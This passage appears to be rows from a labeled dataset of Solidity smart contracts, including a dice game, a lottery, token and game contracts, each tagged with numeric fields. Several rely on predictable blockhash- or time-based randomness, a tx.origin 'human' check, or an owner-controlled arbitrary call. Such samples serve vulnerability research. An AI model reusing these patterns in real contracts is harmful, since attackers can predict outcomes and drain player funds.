for (uint i = 0; i <= dispute.appeals; ++i) {
if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) {
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j = 0; j < dispute.votes[i].length; ++j) {
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
totalToRedistribute += penalty;
} else {
++nbCoherent;
}
}
if (nbCoherent == 0) {
jurors[governor].balance += totalToRedistribute;
TokenShift(governor, _disputeID, int(totalToRedistribute));
} else {
uint toRedistribute = totalToRedistribute / nbCoherent;
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
}
}
}
for (j = 0; j < dispute.votes[i].length; ++j) {
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
}
}
dispute.state = DisputeState.Executable;
}
function multipleShotTokenRepartition(uint _disputeID, uint _maxIterations) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state <= DisputeState.Resolving);
require(dispute.session+dispute.appeals <= session);
dispute.state = DisputeState.Resolving;
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
uint currentIterations = 0;
for (uint i = dispute.currentAppealToRepartition; i <= dispute.appeals; ++i) {
if (dispute.appealsRepartitioned.length < i+1) {
dispute.appealsRepartitioned.length++;
}
if (winningChoice==0 && (dispute.voteCounter[dispute.appeals].voteCount[0] != dispute.voteCounter[dispute.appeals].winningCount)) {
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Incoherent) {
for (uint j = dispute.appealsRepartitioned[i].currentIncoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
Vote storage vote = dispute.votes[i][j];
if (vote.ruling != winningChoice) {
Juror storage juror = jurors[vote.account];
uint penalty = amountShift<juror.balance ? amountShift : juror.balance;
juror.balance -= penalty;
TokenShift(vote.account, _disputeID, int(-penalty));
dispute.appealsRepartitioned[i].totalToRedistribute += penalty;
} else {
++dispute.appealsRepartitioned[i].nbCoherent;
}
++dispute.appealsRepartitioned[i].currentIncoherentVote;
++currentIterations;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Coherent;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Coherent) {
if (dispute.appealsRepartitioned[i].nbCoherent == 0) {
jurors[governor].balance += dispute.appealsRepartitioned[i].totalToRedistribute;
TokenShift(governor, _disputeID, int(dispute.appealsRepartitioned[i].totalToRedistribute));
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
} else {
uint toRedistribute = dispute.appealsRepartitioned[i].totalToRedistribute / dispute.appealsRepartitioned[i].nbCoherent;
for (j = dispute.appealsRepartitioned[i].currentCoherentVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
if (vote.ruling == winningChoice) {
juror = jurors[vote.account];
juror.balance += toRedistribute;
TokenShift(vote.account, _disputeID, int(toRedistribute));
}
++currentIterations;
++dispute.appealsRepartitioned[i].currentCoherentVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake;
}
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) {
for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) {
if (currentIterations >= _maxIterations) {
return;
}
vote = dispute.votes[i][j];
juror = jurors[vote.account];
juror.atStake -= amountShift;
++currentIterations;
++dispute.appealsRepartitioned[i].currentAtStakeVote;
}
dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete;
}
if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) {
++dispute.currentAppealToRepartition;
}
}
dispute.state = DisputeState.Executable;
}
function amountJurors(uint _disputeID) public view returns (uint nbJurors) {
Dispute storage dispute = disputes[_disputeID];
return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1;
}
function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) {
uint draw = 0;
Juror storage juror = jurors[_jurorAddress];
Dispute storage dispute = disputes[_disputeID];
uint nbJurors = amountJurors(_disputeID);
if (juror.lastSession != session) return false;
if (dispute.session+dispute.appeals != session) return false;
if (period <= Period.Draw) return false;
for (uint i = 0; i < _draws.length; ++i) {
if (_draws[i] <= draw) return false;
draw = _draws[i];
if (draw > nbJurors) return false;
uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize;
require(position >= juror.segmentStart);
require(position < juror.segmentEnd);
}
return true;
}
function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) {
uint16 nbJurors = extraDataToNbJurors(_extraData);
require(msg.value >= arbitrationCost(_extraData));
disputeID = disputes.length++;
Dispute storage dispute = disputes[disputeID];
dispute.arbitrated = Arbitrable(msg.sender);
if (period < Period.Draw)
dispute.session = session;
else
dispute.session = session+1;
dispute.choices = _choices;
dispute.initialNumberJurors = nbJurors;
dispute.arbitrationFeePerJuror = arbitrationFeePerJuror;
dispute.votes.length++;
dispute.voteCounter.length++;
DisputeCreation(disputeID, Arbitrable(msg.sender));
return disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) {
super.appeal(_disputeID,_extraData);
Dispute storage dispute = disputes[_disputeID];
require(msg.value >= appealCost(_disputeID, _extraData));
require(dispute.session+dispute.appeals == session);
require(dispute.arbitrated == msg.sender);
dispute.appeals++;
dispute.votes.length++;
dispute.voteCounter.length++;
}
function executeRuling(uint disputeID) public {
Dispute storage dispute = disputes[disputeID];
require(dispute.state == DisputeState.Executable);
dispute.state = DisputeState.Executed;
dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice);
}
function arbitrationCost(bytes _extraData) public view returns (uint fee) {
return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) {
Dispute storage dispute = disputes[_disputeID];
if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT;
return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror;
}
function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) {
if (_extraData.length < 2)
return defaultNumberJuror;
else
return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]);
}
function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) {
return (alpha * minActivatedToken) / ALPHA_DIVISOR;
}
function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) {
return disputes[_disputeID].votes[_appeals][_voteID].account;
}
function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) {
return disputes[_disputeID].votes[_appeals][_voteID].ruling;
}
function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) {
return disputes[_disputeID].voteCounter[_appeals].winningChoice;
}
function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) {
return disputes[_disputeID].voteCounter[_appeals].winningCount;
}
function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) {
return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice];
}
function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) {
return disputes[_disputeID].lastSessionVote[_juror];
}
function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[_juror];
if (juror.lastSession != session
|| (dispute.session+dispute.appeals != session)
|| period<=Period.Draw
|| _draw>amountJurors(_disputeID)
|| _draw==0
|| segmentSize==0
) {
return false;
} else {
uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize;
return (position >= juror.segmentStart) && (position < juror.segmentEnd);
}
}
function currentRuling(uint _disputeID) public view returns (uint ruling) {
Dispute storage dispute = disputes[_disputeID];
return dispute.voteCounter[dispute.appeals].winningChoice;
}
function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) {
Dispute storage dispute = disputes[_disputeID];
if (dispute.session+dispute.appeals < session)
return DisputeStatus.Solved;
else if(dispute.session+dispute.appeals == session) {
if (dispute.state == DisputeState.Open) {
if (period < Period.Appeal)
return DisputeStatus.Waiting;
else if (period == Period.Appeal)
return DisputeStatus.Appealable;
else return DisputeStatus.Solved;
} else return DisputeStatus.Solved;
} else return DisputeStatus.Waiting;
}
function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor {
_target.call.value(_value)(_data);
}
function setRng(RNG _rng) public onlyGovernor {
rng = _rng;
}
function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor {
arbitrationFeePerJuror = _arbitrationFeePerJuror;
}
function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor {
defaultNumberJuror = _defaultNumberJuror;
}
function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor {
minActivatedToken = _minActivatedToken;
}
function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor {
timePerPeriod = _timePerPeriod;
}
function setAlpha(uint _alpha) public onlyGovernor {
alpha = _alpha;
}
function setMaxAppeals(uint _maxAppeals) public onlyGovernor {
maxAppeals = _maxAppeals;
}
function setGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
} | 1 | 3,816 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalZTHWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
owner = msg.sender;
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll{
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint40(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalZTHWagered += _tkn.value;
}
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
if (delete_it){
delete playerRolls[target];
}
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
setMaxProfit();
return result;
}
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
if (_from == ZethrBankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,724 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;}
contract TokenERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value && _value > 0);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _to, uint _value) public returns (bool success) {
require(_to.length > 0 && _to.length <= 20);
for (uint i = 0; i < _to.length; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract YCBToken is Ownable, TokenERC20 {
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
} | 1 | 3,881 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Draw is Ownable {
address[9] private players;
address public last_winner;
uint public draw_number;
uint public slots_left;
uint private MAX_PLAYERS = players.length;
uint private counter = 0;
uint private t0 = now;
uint private tdelta;
uint private index;
uint private owner_balance = 0 finney;
function Draw() public {
initGame();
draw_number = 1;
last_winner = address(0);
}
function initGame() internal {
counter = 0;
slots_left = MAX_PLAYERS;
draw_number++;
for (uint i = 0; i < players.length; i++) {
players[i] = address(0);
}
}
function () external payable {
for (uint i = 0; i < players.length; i++) {
require(players[i] != msg.sender);
}
joinGame();
}
function joinGame() public payable {
require(msg.sender != owner);
require(msg.value == 100 finney);
require(counter < MAX_PLAYERS);
players[counter] = msg.sender;
counter++;
slots_left = MAX_PLAYERS - counter;
if (counter >= MAX_PLAYERS) {
last_winner = endGame();
}
}
function endGame() internal returns (address winner) {
require(this.balance - owner_balance >= 900 finney);
tdelta = now - t0;
index = uint(tdelta % MAX_PLAYERS);
t0 = now;
winner = players[index];
initGame();
winner.transfer(855 finney);
owner_balance = owner_balance + 45 finney;
}
function getBalance() public view onlyOwner returns (uint) {
return owner_balance;
}
function withdrawlBalance() public onlyOwner {
msg.sender.transfer(owner_balance);
owner_balance = 0;
}
} | 1 | 3,044 |
pragma solidity 0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
require(_addr != address(0), "invalid address");
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not a contract owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_validateAddress(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "contract is paused");
_;
}
modifier whenPaused() {
require(paused, "contract is not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
require(_isController(msg.sender), "no controller rights");
_;
}
function _isController(address _controller) internal view returns (bool) {
return controllers[_controller];
}
function _setControllers(address[] _controllers) internal {
for (uint256 i = 0; i < _controllers.length; i++) {
_validateAddress(_controllers[i]);
controllers[_controllers[i]] = true;
}
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
return internalDependencies;
}
function getExternalDependencies() public view returns(address[]) {
return externalDependencies;
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
for (uint256 i = 0; i < _newDependencies.length; i++) {
_validateAddress(_newDependencies[i]);
}
internalDependencies = _newDependencies;
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
externalDependencies = _newDependencies;
_setControllers(_newDependencies);
}
}
contract HumanOriented {
modifier onlyHuman() {
require(msg.sender == tx.origin, "not a human");
_;
}
}
contract Events {
function emitEggClaimed(address, uint256) external {}
function emitEggSentToNest(address, uint256) external {}
function emitDragonUpgraded(uint256) external {}
function emitEggHatched(address, uint256, uint256) external {}
function emitEggCreated(address, uint256) external {}
function emitDistributionUpdated(uint256, uint256, uint256) external {}
function emitSkillSet(uint256) external {}
function emitSkillUsed(uint256, uint256) external {}
function emitDragonNameSet(uint256, bytes32) external {}
function emitDragonTacticsSet(uint256, uint8, uint8) external {}
function emitUserNameSet(address, bytes32) external {}
function emitLeaderboardRewardsDistributed(uint256[10], address[10]) external {}
}
contract User {
mapping (bytes32 => bool) public existingNames;
mapping (address => bytes32) public names;
function getName(address) external view returns (bytes32) {}
function setName(address, string) external returns (bytes32) {}
}
contract CoreController {
function claimEgg(address, uint8) external returns (uint256, uint256, uint256, uint256) {}
function sendToNest(address, uint256) external returns (bool, uint256, uint256, address) {}
function breed(address, uint256, uint256) external returns (uint256) {}
function upgradeDragonGenes(address, uint256, uint16[10]) external {}
function setDragonTactics(address, uint256, uint8, uint8) external {}
function setDragonName(address, uint256, string) external returns (bytes32) {}
function setDragonSpecialPeacefulSkill(address, uint256, uint8) external {}
function useDragonSpecialPeacefulSkill(address, uint256, uint256) external {}
function distributeLeaderboardRewards() external returns (uint256[10], address[10]) {}
}
contract MainBase is Pausable, Upgradable, HumanOriented {
CoreController coreController;
User user;
Events events;
function claimEgg(uint8 _dragonType) external onlyHuman whenNotPaused {
(
uint256 _eggId,
uint256 _restAmount,
uint256 _lastBlock,
uint256 _interval
) = coreController.claimEgg(msg.sender, _dragonType);
events.emitEggClaimed(msg.sender, _eggId);
events.emitDistributionUpdated(_restAmount, _lastBlock, _interval);
}
function sendToNest(
uint256 _eggId
) external onlyHuman whenNotPaused {
(
bool _isHatched,
uint256 _newDragonId,
uint256 _hatchedId,
address _owner
) = coreController.sendToNest(msg.sender, _eggId);
events.emitEggSentToNest(msg.sender, _eggId);
if (_isHatched) {
events.emitEggHatched(_owner, _newDragonId, _hatchedId);
}
}
function breed(uint256 _momId, uint256 _dadId) external onlyHuman whenNotPaused {
uint256 eggId = coreController.breed(msg.sender, _momId, _dadId);
events.emitEggCreated(msg.sender, eggId);
}
function upgradeDragonGenes(uint256 _id, uint16[10] _dnaPoints) external onlyHuman whenNotPaused {
coreController.upgradeDragonGenes(msg.sender, _id, _dnaPoints);
events.emitDragonUpgraded(_id);
}
function setDragonTactics(uint256 _id, uint8 _melee, uint8 _attack) external onlyHuman whenNotPaused {
coreController.setDragonTactics(msg.sender, _id, _melee, _attack);
events.emitDragonTacticsSet(_id, _melee, _attack);
}
function setDragonName(uint256 _id, string _name) external onlyHuman whenNotPaused returns (bytes32 name) {
name = coreController.setDragonName(msg.sender, _id, _name);
events.emitDragonNameSet(_id, name);
}
function setDragonSpecialPeacefulSkill(uint256 _id, uint8 _class) external onlyHuman whenNotPaused {
coreController.setDragonSpecialPeacefulSkill(msg.sender, _id, _class);
events.emitSkillSet(_id);
}
function useDragonSpecialPeacefulSkill(uint256 _id, uint256 _target) external onlyHuman whenNotPaused {
coreController.useDragonSpecialPeacefulSkill(msg.sender, _id, _target);
events.emitSkillUsed(_id, _target);
}
function distributeLeaderboardRewards() external onlyHuman whenNotPaused {
(
uint256[10] memory _dragons,
address[10] memory _users
) = coreController.distributeLeaderboardRewards();
events.emitLeaderboardRewardsDistributed(_dragons, _users);
}
function setName(string _name) external onlyHuman whenNotPaused returns (bytes32 name) {
name = user.setName(msg.sender, _name);
events.emitUserNameSet(msg.sender, name);
}
function getName(address _user) external view returns (bytes32) {
return user.getName(_user);
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
super.setInternalDependencies(_newDependencies);
coreController = CoreController(_newDependencies[0]);
user = User(_newDependencies[1]);
events = Events(_newDependencies[2]);
}
} | 1 | 3,094 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
using SafeMath for uint256;
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 5;
uint private ATTACK_FEE = 5;
uint private ATTACK_BOOST_CAP = 300;
uint private DEFEND_BOOST_CAP = 300;
uint private ATTACK_BOOST_MULTIPLIER = 100;
uint private DEFEND_BOOST_MULTIPLIER = 100;
mapping (uint16 => address) private localGames;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function setWithdrawFee(uint _feePercentage) public isOwner {
WITHDRAW_FEE = _feePercentage;
}
function setAttackFee(uint _feePercentage) public isOwner {
ATTACK_FEE = _feePercentage;
}
function setAttackBoostMultipler(uint _multiplierPercentage) public isOwner {
ATTACK_BOOST_MULTIPLIER = _multiplierPercentage;
}
function setDefendBoostMultiplier(uint _multiplierPercentage) public isOwner {
DEFEND_BOOST_MULTIPLIER = _multiplierPercentage;
}
function setAttackBoostCap(uint _capPercentage) public isOwner {
ATTACK_BOOST_CAP = _capPercentage;
}
function setDefendBoostCap(uint _capPercentage) public isOwner {
DEFEND_BOOST_CAP = _capPercentage;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount.div(tileCount);
require(valuePerBlockInWei >= 5 finney);
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
